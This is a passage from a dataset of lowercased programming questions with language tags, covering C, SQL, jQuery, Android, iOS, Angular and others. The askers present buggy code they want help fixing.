fd_1 );         exit(exit_failure);}      //open file for writing     fd_2 = open( outfile.txt  o_wronly|o_trunc|o_creat 0664);     if(fd_2&lt;0){         perror( error opening fd_2 );         exit(exit_failure);}      //line acquisition     int readlinereturn;     do{         readlinereturn = readline(fd_1 fd_2 &amp;line argv[2]);     }while(readlinereturn!=-1);      close(fd_2);     close(fd_1);     free(line);     printf( \n );     exit(exit_success); } </code></pre>   this is the part of code with problems with related execution errors (you can find it in the function).            <pre><code>//copy the line in a new string - 3 not working solutions     //1st solution: segmentation fault     char* local_line;     strncpy(local_line line counter+1);     //2nd solution: so i try to use this; but this     //delete the last character to insert  \n      char* local_line;     local_line = strtok(line  \n );     local_line[counter-1]= \n ;     //3rd solution:     char* local_line = (char*)malloc(sizeof(char)*(counter+1));     local_line = strtok(line  \n );     local_line[counter+1] =  \n ; </code></pre>   i think there is a structural or conceptual error  but i can t find it.,c
selecting a particular row when grouping data <pre><code>studentid  questionid  incorrect  unanswered flagged  pace  id  subtopicid ========================================================================== 1          1           1          0          0        2     1   1 1          1           0          0          0        4     2   1 1          2           0          0          0        8     3   1 </code></pre>   i have this table with the above values in it. i want to select all the the questions attempted by a student for a particular subtopic only once. in case there are multiple entries for a question i want to select the one with the greater id. i couldn t figure out a way to select the question with the greater id. this is what i am trying.    <pre><code>select questionid        pace        id    from table   where studentid = 1     and subtopicid = 1   group      by questionid   order      by id desc; </code></pre>   can anyone please tell me the modifications in my query or suggest a new one,mysql
execute code blocks in mysql console  i have not used mysql for many years.  nowadays i have a need to work some code blocks for mysql db.  supposing i need to write some records into to  visits  table. i have to write some dates from 2015-01-14 to today (2015-02-04) when i write the codes below  mysql console throws an eror:   <pre><code>delimiter $$ set @datecursor =  2015-01-14 ; while @datecursor&lt;=date(now()) do insert into visits (visitdate  comment) select @datecursor  another visit ; set @datecursor = date_add(@datecursor  interval 1 day); end while; $$ delimiter ; </code></pre>   i could have done operations like this at mssql management studio.,mysql
jquery image map and multiple selectors  morning all  am just about finished with an image map page i am working on... what i am running into is the section of the map that will have multiple selectors.  you can see my example here. in the  dual  regions where 2 colors are visible  i am unable to get the two regions to highlight in the logo list to the right.     how can i get multiple selectors to be clickable in this map     the section i am working on lies here:   <pre><code>$( #carepointsahaidid ).click(function() {  //use a class  since your id gets mangled     $( li.carepoint li.saha li.idid ).addclass( active ).siblings().removeclass( active );      //add the class to the clicked element   });    </code></pre>   i want the area  to highlight all 3 areas on the map  but they are also clickable from other areas as well...    <a href= https://jsfiddle.net/yd54vrcs/6/  rel= nofollow >https://jsfiddle.net/yd54vrcs/6/</a>,jquery
exception thrown when creating an array c++  im basically generating a array for a flat plane in my game using this algorithm  but i couldn t get it to work as there is a exception when i run the program. (gluint is just unsigned int in opengl)   <pre><code>const gluint planedimension = 30.0f; const gluint half = planedimension / 2; const gluint verticescount = planedimension * planedimension; int counter = 0; glfloat planevertices[verticescount];  for (gluint length = 0; length &lt; planedimension; length++) {     for (gluint width = 0; width &lt; planedimension; width++) {         planevertices[counter++] = length - half;         planevertices[counter++] = 0.0f;         planevertices[counter++] = width - half;     } } </code></pre>,c++
how to get images form directory in tableview  i am gettting images from documents directory. it s succesfully getiing. but when it s load on  table it appear same images on table.    <pre><code>arrayofimages = [[nsmutablearray alloc]init];  nsstring *stringpath = [nssearchpathfordirectoriesindomains(nsdocumentdirectory      nsuserdomainmask  yes)objectatindex:0];  nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); </code></pre>   // nsstring *stringpath = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);   <pre><code>nslog(@ %@  paths); nsstring *documentsdirectory = [paths objectatindex:0]; nslog(@ %@  documentsdirectory);  filepathsarray = [[nsfilemanager defaultmanager] subpathsofdirectoryatpath:documentsdirectory  error:nil]; nslog(@ files array %@   filepathsarray);   for(i=0;i&lt;[filepathsarray count];i++) {     nsstring *strfilepath = [filepathsarray objectatindex:i];     nslog(@ %@  strfilepath);     if ([[strfilepath pathextension] isequaltostring:@ jpg ] || [[strfilepath pathextension] isequaltostring:@ png ] || [[strfilepath pathextension] isequaltostring:@ png ])     {         nsstring *imagepath = [[stringpath stringbyappendingformat:@ / ] stringbyappendingformat:strfilepath];         nslog(@ %@  imagepath);          nsdata *data = [nsdata datawithcontentsoffile:imagepath];          if(data)         {             uiimage *image = [uiimage imagewithdata:data];             nslog(@ %@  image);             [arrayofimages addobject:image];             nslog(@ %@  arrayofimages);         }     }  } </code></pre>   for table i m calling this code   <pre><code>   saveimageview = [[uiimageview alloc]initwithframe:cgrectmake(10.0  10.0  100.0  80.0)];     [saveimageview setimage:[arrayofimages objectatindex:indexpath.row]]; [cell.contentview addsubview:saveimageview]; </code></pre>,iphone
executing external process on concrete processor and wait for termination  i am looking for execute an external program inside a .net application.    i need to assign a concrete processor to that program. i need to execute the program several times and every time on a different processor. i need to wait for external program termination.    to simplify i have done a small spike (console) app to work on it:   <pre><code>using system; using system.collections.generic; using system.diagnostics; using system.linq; using system.text; using system.threading.tasks;      namespace executeexternalinparallelwithaffinity     {         class program         {             static void main(string[] args)             {                 for (int i = 1; i &lt; 3; i++)                 {                     var processnumber = i;                     task.factory.startnew(() =&gt;                         {                                                     process p = process.start( notepad.exe );                                                    p.processoraffinity = (intptr)processnumber;                         }).continuewith(t =&gt;                          {                             console.out.writeline(string.format( process ended on processor: {0}   processnumber));                         });                 }                 console.readkey();             }         }     } </code></pre>   <strong>my questions:</strong><br> 1.- can i assign processor affinity <em>before</em> executing the process.<br> 2.- in spite i am checkin <code>notepad</code> on task manager  all of them are assigned to processor 0.,.net
db results to hierarchy - flexible size  i have the following following data coming from the db (i don t control this) - it could just have a_id and a_title or it could have a_id/a_title to z_id/z_title    if could be:   <pre><code>|a_id| a_title |b_id| b_title |c_id| c_title | |   1|a title 1|   1|b title 1|   1|c title 1| |   1|a title 1|   1|b title 1|   2|c title 2| |   1|a title 1|   2|b title 2|   3|c title 3| |   1|a title 1|   2|b title 2|   4|c title 4| |   2|a title 2|   3|b title 3|   5|c title 5| |   2|a title 2|   3|b title 3|   6|c title 6| |   2|a title 2|   4|b title 4|   7|c title 7| |   2|a title 2|   4|b title 4|   8|c title 8| </code></pre>   or   <pre><code>|a_id| a_title |b_id| b_title | |   1|a title 1|   1|b title 1| |   1|a title 1|   2|b title 2| |   2|a title 2|   3|b title 3| |   2|a title 2|   4|b title 4| </code></pre>   what i would like to end up with is something like   <pre><code>$data = [       1  =&gt; [           id  =&gt; 1           title  =&gt;  a title 1            children  =&gt; [              1  =&gt; [                  id  =&gt; 1                   title  =&gt;  b title 1                    children  =&gt; [                      1  =&gt; [                          id  =&gt; 1                           title  =&gt;  c title 1                       ]                       2  =&gt; [                          id  =&gt; 2                           title  =&gt;  c title 2                       ]                  ]             ]               2  =&gt; [                  id  =&gt; 1                   title  =&gt;  b title 2                    children  =&gt; [                      3  =&gt; [                          id  =&gt; 3                           title  =&gt;  c title 3                       ]                       4  =&gt; [                          id  =&gt; 4                           title  =&gt;  c title 4                       ]                  ]             ]          ]       ]   ]; </code></pre>   i do know what fields i am expecting  for example i have the following array:   <pre><code>$fields = [      a        b        c   ]; </code></pre>   i would usually post some code  but i m kind of stuck with where to start on this  and am wondering if i m taking the wrong approach  though as i don t have control over the db i m kind of out of ideas    thanks!,php
can you add buttons to navigation bars through storyboard   at the moment  i ve been adding navigation buttons like follows:   <pre><code>self.navigationitem.rightbarbuttonitem = [[uibarbuttonitem alloc] initwithtitle:@ add                                                                            style:self.editbuttonitem.style                                                                           target:self                                                                          action:@selector(donebuttonpressed)]; </code></pre>   it seems a bit silly to not add them through storyboard  but i can t find a way to do so.  is there one that i m missing,ios
using angular model as function parameter  in this code below  i like to be able to make the length of my menu dynamic with angular data binding by taping it in the input and getting it in real time.                <pre><code>&lt;div ng-app= myapp  ng-controller= namesctrl &gt;  &lt;p&gt;number of characters : &lt;input type= number  ng-model= nmba  &gt;&lt;/p&gt;     &lt;ul&gt;         &lt;li ng-repeat= x in chars track by $index &gt;             {{ x}}         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt;  &lt;script&gt; angular.module( myapp   []).controller( namesctrl   function($scope) {  function printcharacters(param) {    var result = [];    for (i = 1; i &lt;= param; i++) {    result.push( a ); } return result; }  $scope.chars = printcharacters($scope.nmba);  }); &lt;/script&gt; </code></pre>         so i wrote it as above but it is not displaying anything. am i missing something       thank you for any help.,angularjs
how to connect to database dynamic and secure   i want to connect to the database dynamically.for each client we have separate databases. i have one master database.from master database i get servername database name user id password feilds according to client login. now using this information i form a connection string which will connect to the correct database. every time(when connection required) connect to master db and get details then form a connection string is time consuming. so once servername database name user id password feilds i get or connection  string is get form i want to keep it in session which should be secure. how i can manage that,asp.net
remove leading zeros error  i am trying to remove the leading zeros of the number user enters so 000002 will turn into 2 however  i am getting an error saying segmentation fault (core dumped)   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; int main() {         char *str;         scanf( %c   *str);            int n;         if( ( n = strspn(str   0  ) ) != 0 &amp;&amp; str[n] !=  \0  ) {                 printf( string without leading zeros is %s \n   &amp;str[n]);         } else {                  printf( no leading zeros in %c \n   str);         }          return 0; } </code></pre>,c
jquery drag and drop position  i hope somebody can help my problem. now i am doing jquery drag and drop. my problem is that when user drag and place the image to drop area. that drop area is like tree picture. so the drop area should be like tree picture. but now i can drop on rectangle area. i don t know how can i solve this one. anyone help me please.    i use following coding.   <pre><code> $j( #draggable ).draggable({                  revert: function (dropped) {                     var $jdraggable = $j(this)                   hasbeendroppedbefore = $jdraggable.data( hasbeendropped )                   wasjustdropped = dropped &amp;&amp; dropped[0].id ==  tree ;                     if (wasjustdropped) {                         //centering with css                         centerpopup();                         //load popup                         loadsharepopup();                         return false;                     } else {                         if (hasbeendroppedbefore) {                             return true;                         } else {                             return true;                         }                     }                 }             });              $j( #tree ).droppable({                 activeclass:  ui-state-hover                   hoverclass:  ui-state-active                   drop: function (event  ui) {                     //var stoppos = $j(this).position();                     //alert( stop: \nleft:  + stoppos.left +  \ntop:   + stoppos.top);                     var newposx = ui.offset.left - $j(this).offset().left;                     var newposy = ui.offset.top - $j(this).offset().top;                     //alert($j(this).offset().left);                     $j( #txtposx ).val(newposx);                     $j( #txtposy ).val(newposy);                     //alert( stop: \nleft:  + newposx +  \ntop:   + newposy);                     $j(this).addclass( ui-state-highlight ).find( p ).html( dropped! );                     $j(ui.draggable).data( hasbeendropped   true);                 }             });         });  &lt;div id= tree &gt;                     &lt;div id= draggable &gt;&lt;/div&gt;                 &lt;/div&gt; </code></pre>,jquery
how to define the link color of a selected hyperlink   i want the link color to be blue after click it  but not all visited links  not active link not hover link. why it doesn t work when i use a:selected in my css,css
getting null pointer exception error  i m getting data form the xml file like this:-   <pre><code>   &lt;posts&gt;           &lt;page id= 1 &gt;                       &lt;title&gt;                             &lt;![cdata[ tile no. 1 ]]&gt;                       &lt;/title&gt;                        &lt;smallimage&gt;                                  http://www.xyz.com/right.jpg                       &lt;/smallimage&gt;           &lt;/page&gt;            &lt;page id= 2 &gt;                       &lt;title&gt;                             &lt;![cdata[ tile no. 2 ]]&gt;                       &lt;/title&gt;           &lt;/page&gt;            &lt;page id= 3 &gt;                       &lt;title&gt;                             &lt;![cdata[ tile no. 3 ]]&gt;                       &lt;/title&gt;                        &lt;smallimage&gt;                                  http://www.xyz.com/left.jpg                       &lt;/smallimage&gt;           &lt;/page&gt;   &lt;/posts&gt; </code></pre>   this is example of my xml in which i m getting element  and   i m getting 10 page in single url in which 10 are present but not 10  are preset. it may be 3 or 6 or 1.    in my code i m using sax parser to parse this xml file i m getting my data and able to display on the list view but i m able to display images with them.    for displaying images i m using lazlylist example (imageloader class).    here is my code below:-    mainactivity.java   <pre><code>public class mainactivity extends activity {     /** called when the activity is first created. */      static final string url =  http://www.xyz.com/api.php page_id=1 ;      itemlist itemlist;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main);          xmlparser parser = new xmlparser();         string xml = parser.getxmlfromurl(url);          system.out.println( this xml is ========&gt; +xml);         try        {            saxparserfactory spf = saxparserfactory.newinstance();            saxparser sp = spf.newsaxparser();            xmlreader xr = sp.getxmlreader();             /** create handler to handle xml tags ( extends defaulthandler ) */            myxmlhandler myxmlhandler = new myxmlhandler();            xr.setcontenthandler(myxmlhandler);             bytearrayinputstream is = new bytearrayinputstream(xml.getbytes());            xr.parse(new inputsource(is));       }       catch(exception e)       {        }        itemlist = myxmlhandler.itemlist;        arraylist&lt;string&gt; listitem= itemlist.gettitle();       arraylist&lt;string&gt; listmanu = itemlist.getsmallimages();         system.out.println( (listitem)=======&gt; +listitem);       system.out.println( (listmanu)=======&gt; +listmanu);      //  string ar[];       object obj[]=listmanu.toarray();       string[] stringarray=arrays.aslist(obj).toarray(new string[obj.length]);       system.out.println( array to string +arrays.tostring(stringarray));      // ar=(string[]) listmanu.toarray();        listview lview = (listview) findviewbyid(r.id.listview1);      myadapter adapter = new myadapter(this  listitem  stringarray);      lview.setadapter(adapter);          } </code></pre>   myadapter.java   <pre><code>public class myadapter extends baseadapter  {     arraylist&lt;string&gt; listtitle;     string [] data;     imageloader imageloader;       activity activity;      public myadapter(activity activity  arraylist&lt;string&gt; listtitle  string[] d) {         super();         this.listtitle = listtitle;         this.data = d;           this.activity = activity;         this.imageloader = new imageloader(activity.getapplicationcontext());     }      public int getcount() {         // todo auto-generated method stub         return data.length;      }      public object getitem(int position) {         // todo auto-generated method stub         return null;     }      public long getitemid(int position) {         // todo auto-generated method stub         return 0;     }      private class viewholder     {         textview txtviewtitle;         imageview image;       }      public view getview(int position  view view  viewgroup parent) {         // todo auto-generated method stub          viewholder title;         layoutinflater inflater = activity.getlayoutinflater();          if(view==null)         {             view = inflater.inflate(r.layout.lview_row  null);             title = new viewholder();              title.txtviewtitle = (textview) view.findviewbyid(r.id.txtitem);             title.image = (imageview) view.findviewbyid(r.id.list_image);              view.settag(title);         }         else         {             title = (viewholder) view.gettag();         }          title.txtviewtitle.settext(listtitle.get(position));           imageloader.displayimage(data[position]  title.image);          return view;     } } </code></pre>   \    when i m using return data.length then i m getting images and tile only no. of images are present  because string [] is storing images only not the spaces...   <pre><code>public int getcount() {             return data.length; </code></pre>   but when i changed data.length to listtitle.size()   <pre><code>public int getcount() {             return listtitle.size(); </code></pre>   getting the null pointer exception i m using listtilte.size() because it give the full list...    any one plz suggest me how can i able to solve this issue and getting images and full title data in the list view and where images is present where only i will getting image with title otherwise only title is display on the list view...    thanks in advanced.,android
view disappears when it moves beyond a certain x coordinate  i want to make a view move in front of another one. i used a relative layout in order for the z-order to work as follows.    activity_main.xml:   <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:paddingbottom= @dimen/activity_vertical_margin      android:paddingleft= @dimen/activity_horizontal_margin      android:paddingright= @dimen/activity_horizontal_margin      android:paddingtop= @dimen/activity_vertical_margin      tools:context= .mainactivity  &gt;      &lt;textview         android:id= @+id/textview1          android:layout_width= match_parent          android:layout_height= 300dp  /&gt;      &lt;textview         android:id= @+id/textview2          android:layout_width= 200dp          android:layout_height= 300dp          android:text= .          android:textsize= 200dp  /&gt;  &lt;/relativelayout&gt; </code></pre>   mainactivity.java: when the user touch textview1  the textview2 moves according to the x of the touch event.    <pre><code>public class mainactivity extends activity implements view.onclicklistener {      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          textview textview1 = (textview) findviewbyid(r.id.textview1);         final textview textview2 = (textview) findviewbyid(r.id.textview2);          textview1.setbackgroundcolor(color.green);          textview1.setontouchlistener(new ontouchlistener() {             @override             public boolean ontouch(view v  motionevent event) {                 textview2.setleft((int) event.getx());                 return true;             }         });     }      @override     public void onclick(view arg0) {      } } </code></pre>   but textview2 strangely disappears beyond a certain x coordinate (as if it goes behind a invisible third view) as follows:   <pre><code>the beginning: +-------------------------------+ |                               | |   +----+                      | |   |    |                      | |   |    |                      | |   +----+                      | |                               | +-------------------------------+  moving to the right.. +-------------------------------+ |                               | |       +----+                  | |       |    |                  | |       |    |                  | |       +----+                  | |                               | +-------------------------------+  .. and starts to disappear at a certain x. +-------------------------------+ |                               | |              +--              | |              |                | |              |                | |              +--              | |                               | +-------------------------------+ </code></pre>   what is wrong,android
mixing 3.5 and 4.0 .net projects  i have been getting some really weird errors when i have been trying to mix version 4.0 and 3.5 projects. are they not compatible  is it possible to make them,.net
php mvc folder structure - where to place new files  if i am using this php file structure: <a href= https://github.com/panique/php-login-minimal  rel= nofollow >https://github.com/panique/php-login-minimal</a>   <ol> <li> can someone tell where i put my stylesheets  would i create a  static  folder at the same level as views  or instead put that whole structure in a folder called  application  and then put  public  folder outside it  </li> <li> if i have divisions or folders  such as  admin    blog    forum   where do i put those php files  would again i make a folder called  admin  in the same level as  views   and put my admin page templates in there  </li> </ol>   any input on this would be appreciated.    james,php
java expanding circle  i am trying to have an applet draw a circle starting with the size of the beginning radius expanding over and over until it reaches the end size of radius. just need a push in the right direction this is what i have so far..   <pre><code>import javax.swing.japplet; import java.awt.graphics; import java.util.scanner;  public class circleexpandv1 extends japplet {     public void paint( graphics g )     {         super.paint( g ); //instantiate g with paint          scanner scan = new scanner( system.in );          system.out.print(  \nenter beginning radius &gt;   );         int radiusstart = scan.nextint();            system.out.print(  \nenter ending radius &gt;   );         int radiusend = scan.nextint();            int centerx0 = 150  centery0 = 50; // set x y cordinates         int radius0 = radiusstart;  // set radius                           int centerx1 = 150  centery1 = 50; // set x y cordinates         int radius1 = radiusend;  // set radius          while ( radiusstart != radiusend )         {              if ( radius0 &lt; radius1 )              {                  g.drawoval( centerx0 - radius0  centery0 - radius0  radius0 * 2  radius0 * 2 ); //draw oval              }         }          //g.clearoval( centerx0 - radius0  centery0 - radius0  radius0 * 2  radius0 * 2 ); //clear oval          }     } </code></pre>,java
select inner join over two tables not pulling out any data  i am trying to pull the same data from two tables.  one table is the previous months  data and is called maarchive and the manualadjustment table is the current month.  i want to run a query that pulls out the same data from both tables depending on ptlname that is selected from the dropdown list.    i have created the below query but when it runs it doesn t pull any data from the table and no errors.   <pre><code>select distinct maarchive.ptlname                   maarchive.campusoccurred                   maarchive.deptoccurred                   maarchive.coursedetails                   maarchive.dateoccurred                   manualadjustments.ptlname        as expr1                   manualadjustments.campusoccurred as expr2                   manualadjustments.deptoccurred   as expr3                   manualadjustments.dateoccurred   as expr4  from   maarchive         inner join manualadjustments                 on maarchive.maindex = manualadjustments.maindex                    and maarchive.ptlname = manualadjustments.ptlname  where  ( maarchive.ptlname = @ptlname ) </code></pre>,sql
sum a count(*) column  i am trying to get the sum of a count(*) of  active product lines  between 2 dates. here is the bit i have.    i want to sum the  product lines active  column. i left out the other where clauses to simplify this question.   <pre><code>select mfr_id as  manufacturer id   count(*) as  product lines active  from database.labreport  where (rpt_upload_dt between  2012-01-01  and  2012-12-31  )  group by mfr_id   order by mfr_id </code></pre>,sql
how to insert a cell into my list using .plist file  i m a new ios programmer . now i m trying to create a table using .plist file .. but i faced a problem  i don t know how to insert a cell into table view and update it into .plist file . i want my table must be added a cell when clicked into [+] cell . here is my .m file . plz take a look at this   <pre><code>#import  tablerecordings.h   @interface tablerecordings ()  @end  @implementation tablerecordings  @synthesize arrayoriginal; @synthesize arfortable; uitableview* tableview; nsarray *ar; nsuinteger row; - (id)initwithstyle:(uitableviewstyle)style {     self = [super initwithstyle:style];     if (self) {         // custom initialization     }     return self; }  - (void)viewdidload {     [super viewdidload];     ar= [[nsarray alloc] init];     tableview=[[uitableview alloc] init] ;     nsdictionary *dtmp=[[nsdictionary alloc] initwithcontentsoffile:[[nsbundle mainbundle] pathforresource:@ data  oftype:@ plist ]];     self.arrayoriginal=[dtmp valueforkey:@ objects ];      self.arfortable=[[nsmutablearray alloc] init];      [self.arfortable addobjectsfromarray:self.arrayoriginal];}  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  #pragma mark - table view data source  - (nsinteger)numberofsectionsintableview:(uitableview *)tableview { #warning potentially incomplete method implementation.     // return the number of sections.     return 1; }  - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {     return [self.arfortable count]; }   - (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *cellidentifier = @ cell ;      uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil) {        cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] ;     }      cell.textlabel.text=[[self.arfortable objectatindex:indexpath.row] valueforkey:@ name ];      [cell setindentationlevel:[[[self.arfortable objectatindex:indexpath.row] valueforkey:@ level ] intvalue]];      return cell; }  #pragma mark - table view delegate   - (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {     [tableview deselectrowatindexpath:indexpath animated:yes];     self.tableview=tableview;     nsdictionary *d=[self.arfortable objectatindex:indexpath.row];     if([d valueforkey:@ objects ]) {         ar=[d valueforkey:@ objects ];            row=indexpath.row;         bool isalreadyinserted=no;          for(nsdictionary *dinner in ar ){             nsinteger index=[self.arfortable indexofobjectidenticalto:dinner];             isalreadyinserted=(index&gt;0 &amp;&amp; index!=nsintegermax);             if(isalreadyinserted) break;         }          if(isalreadyinserted) {             [self minimizethisrows:ar];             [tableview cellforrowatindexpath:indexpath].textcolor=[uicolor blackcolor];          } else {             [tableview cellforrowatindexpath:indexpath].textcolor=[uicolor bluecolor];             nsuinteger count=indexpath.row+1;             nsmutablearray *arcells=[nsmutablearray array];             for(nsdictionary *dinner in ar ) {                 [arcells addobject:[nsindexpath indexpathforrow:count insection:0]];                 [self.arfortable insertobject:dinner atindex:count++];             }             [tableview insertrowsatindexpaths:arcells withrowanimation:uitableviewrowanimationautomatic];         }     }     else if ([d valueforkey:@ name ]) {         if ([[d valueforkey:@ name ] isequaltostring:@ [+] ]){               uialertview * alert = [[uialertview alloc] initwithtitle:@ insert an activity  message:@ put activity here  delegate:self cancelbuttontitle:@ ok  otherbuttontitles:nil];             alert.alertviewstyle = uialertviewstyleplaintextinput;             [alert show];             [alert release];         }      }  }  - (void)alertview:(uialertview *)alertview clickedbuttonatindex:(nsinteger)buttonindex{    // [tableview insertrowsatindexpaths:&lt;#(nsarray *)#&gt; withrowanimation:&lt;#(uitableviewrowanimation)#&gt;]; } -(void)minimizethisrows:(nsarray*)ar{      for(nsdictionary *dinner in ar ) {         nsuinteger indextoremove=[self.arfortable indexofobjectidenticalto:dinner];         nsarray *arinner=[dinner valueforkey:@ objects ];         if(arinner &amp;&amp; [arinner count]&gt;0){             [self minimizethisrows:arinner];         }          if([self.arfortable indexofobjectidenticalto:dinner]!=nsnotfound) {             [self.arfortable removeobjectidenticalto:dinner];             [self.tableview deleterowsatindexpaths:[nsarray arraywithobject:                                                     [nsindexpath indexpathforrow:indextoremove insection:0]                                                     ]                                   withrowanimation:uitableviewrowanimationright];         }     } }   - (void)viewdidunload {     [super viewdidunload]; }   - (void)dealloc {      [super dealloc]; } @end </code></pre>,ios
chrome extension using javascript  hi i am making a chrome extension using javascript which takes a excel file as input and display the result from the excel file. is there a way that the same excel file is loaded again when i open the extension again without uploading it again,javascript
import a matrix in c  hello i am trying to import a metric to from a text file. initially i know nothing about the matrix so i calculate the number of lines in the matrix and then allocate space to it. when i am trying to import the matrix i run into an infinite loop. i do not get why    code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main(int argc  char* argv[]) {     file *fp;     int i j;     char ch;     fp = fopen(argv[1]  r );     if ( fp == null )     {         puts (  cannot open source file );     }      /*count the number of lines*/     int lines=1;     char c junk;     while((c = fgetc(fp)) != eof)     {         if(c ==  \n )             lines++;     }     printf( lines= %i\n  lines);      double matrix[lines][100];     for(i = 0 ; i &lt; lines ; i++)     {         j = 0;         do{             fscanf(fp   %lf   &amp;matrix[lines][j]);             j++;         }while((junk = fgetc(fp)) !=  \n );     } } </code></pre>   matrix in text file:   <pre><code>   0.5000    0.4600    0.6400    0.3600    0.5000         0    0.4900    0.2200    1     0.5300    0.5600    0.4900    0.4600    0.5000         0    0.5200    0.2200    1     0.5200    0.5300    0.5800    0.6900    0.5000         0    0.5000    0.2200    1     0.6700    0.6200    0.5400    0.4300    0.5000         0    0.5300    0.2200    1     0.4500    0.5700    0.3000    0.1700    0.5000         0    0.5100    0.2200    3     0.6800    0.5300    0.4400    0.3100    0.5000         0    0.5100    0.2200    1     0.3800    0.4200    0.3100    0.3500    0.5000         0    0.5200    0.2200    3     0.4800    0.4600    0.5800    0.2600    0.5000         0    0.4400    0.2200    2     0.4500    0.3900    0.4600    0.2900    0.5000         0    0.4200    0.2200    1     0.7800    0.7500    0.4000    0.2800    0.5000         0    0.5300    0.2200    1     0.7400    0.8900    0.3200    0.2400    0.5000         0    0.5400    0.3200    4     0.2100    0.4100    0.5500    0.1100    0.5000         0    0.5000    0.2700    7     0.3500    0.5600    0.3600    0.3000    0.5000         0    0.5300    0.2500    3     0.8000    0.7300    0.4700    0.1900    0.5000         0    0.4900    0.2200    4     0.7600    0.7600    0.3500    0.2700    0.5000         0    0.4400    0.2200    4     0.3800    0.4000    0.5300    0.1200    0.5000         0    0.5500    0.2200    7     0.6500    0.6300    0.4700    0.2200    0.5000         0    0.5200    0.2700    7     0.4100    0.4900    0.5500    0.1300    0.5000         0    0.5500    0.2200    7     0.5300    0.5100    0.5100    0.1100    0.5000         0    0.4900    0.4100    2     0.8500    0.8500    0.3000    0.3100    0.5000         0    0.5500    0.4200    4     0.6100    0.4800    0.5600    0.1900    0.5000         0    0.5300    0.3100    7     0.5500    0.6900    0.5100    0.1200    0.5000         0    0.5100    0.2200    7     0.4900    0.4000    0.5800    0.2300    0.5000         0    0.4700    0.2700    7     0.5600    0.5700    0.6300    0.3900    1         0    0.5900    0.4000    2     0.4500    0.5000    0.5700    0.2900    0.5000         0    0.4400    0.1100    7     0.3200    0.4400    0.5400    0.2100    0.5000         0    0.4000    0.1900    7     0.7500    0.6700    0.5100    0.2900    0.5000         0    0.5200    0.3600    1     0.6300    0.5400    0.5300    0.2700    0.5000         0    0.4900    0.2200    7 </code></pre>,c
ios 7 - restrict landscape orientation only in one view controller  i need to open the first view controller only in portrait mode. as the rest view controllers will use both orientation. so i have added both orientation in plist file.   <pre><code>-(bool) shouldautorotate {     //never called }  - (nsuinteger) supportedinterfaceorientations {     //never called } </code></pre>   can any one tell me how to restrict,ios
class object ownership objective c  being noob in objective-c i just came across a problem in object ownership in a class that cannot explain the reason.    suppose that i have a class called <code>point</code> that describes a point with x y. a class called rectangle has an object of type <code>point</code> that represents its left bottom edge. with following implementation   <pre><code>@implementation rectangle {     point *origin; } -(point *) origin {     return origin; }  -(void) setorigin: (point *) pt {     origin = pt; } @end </code></pre>   now i simply instantiate the rectangle  assign its origin a pointer to object of point   <pre><code>rectangle *rectangle2 = [[rectangle alloc] init]; point *pt = [[point alloc] init]; [pt setx:1 andy:2]; rectangle2.origin = pt; nslog(@ point s x= %i  y=%i  pt.x pt.y); // result: point s x=1 y=2 nslog(@ rectangle s origin x= %i  y=%i  rectangle2.origin.x rectangle2.origin.y); //rectangle s origin x=1 y=2 </code></pre>   now if i change the x y of the object pt(following line of code)  the rectangle2 object s origin will change as well  because it does not own its object  instead just points to where pt pointing to   <pre><code>[pt setx:10 andy:12];  nslog(@ point s x= %i  y=%i  pt.x pt.y); // result: point s x=10 y=12 nslog(@ rectangle s origin x= %i  y=%i  rectangle2.origin.x rectangle2.origin.y); //rectangle s origin x=10 y=12 </code></pre>   this is completely logical  with no issue.    issue seems to be happening in a similar scenario. addresscard class has an object of type nsstring    <pre><code>@implementation addresscard{     nsstring *phone; }  -(void) setphone:(nsstring *) p {     phone = p; }  -(nsstring *) name {     return name; } @end </code></pre>   i instantiate addresscard  assign an nsstring pointer to its phone object.   <pre><code>addresscard *addresscard1 = [[addresscard alloc] init]; nsstring *phoneobject = @ (111) 111 - 1111 ; addresscard1.phone = phoneobject; nslog(@ addresscard1 phone: %@  addresscard1.phone); // result: (111) 111 - 1111 nslog(@ phone object: %@  phoneobject); // result: (111) 111 - 1111 </code></pre>   but now if i change phoneobject  addresscard1.phone won t change despite this way i m setting the phone object in addresscard class (setphone method in class implementation)   <pre><code>phoneobject  = [nsstring stringwithstring:@ phone is changed ]; nslog(@ %@  phoneobject); //result : phone is changed nslog(@ phone after change in the addresscard is: %@  addresscard1.phone); // result: (111) 111 - 1111 </code></pre>   could some objective-c ninja tells me what s the difference between two snippets  and the reason of this,objective-c
angular using explicit notation failing at app.config()  so i ve been trying to minify my code  and it s not been an easy journey.    everything works if nothing is minified or bundled. the first thing i was told to do is not to minify first  and add  ng-strict-di  to the ng-app element. so that when i take care of all the errors that throw  i can minify no problem.   <pre><code>&lt;html lang= en  ng-app= myapp  ng-strict-di&gt; </code></pre>   and i refreshed the page  and then i got my error.   <pre><code>javascript error: uncaught error: [$injector:modulerr] failed to instantiate module myapp due to: error: [$injector:strictdi] function(toastrconfig) is not using explicit annotation and cannot be invoked in strict mode </code></pre>   this is the library i m using: <a href= https://github.com/foxandxss/angular-toastr  rel= nofollow >https://github.com/foxandxss/angular-toastr</a>    in the documentation it shows how to apply a global configuration to all my toastrs:   <pre><code>app.config(function(toastrconfig) {   angular.extend(toastrconfig  {     allowhtml: false      closebutton: false      closehtml:  &lt;button&gt;&amp;times;&lt;/button&gt;       extendedtimeout: 1000      iconclasses: {       error:  toast-error         info:  toast-info         success:  toast-success         warning:  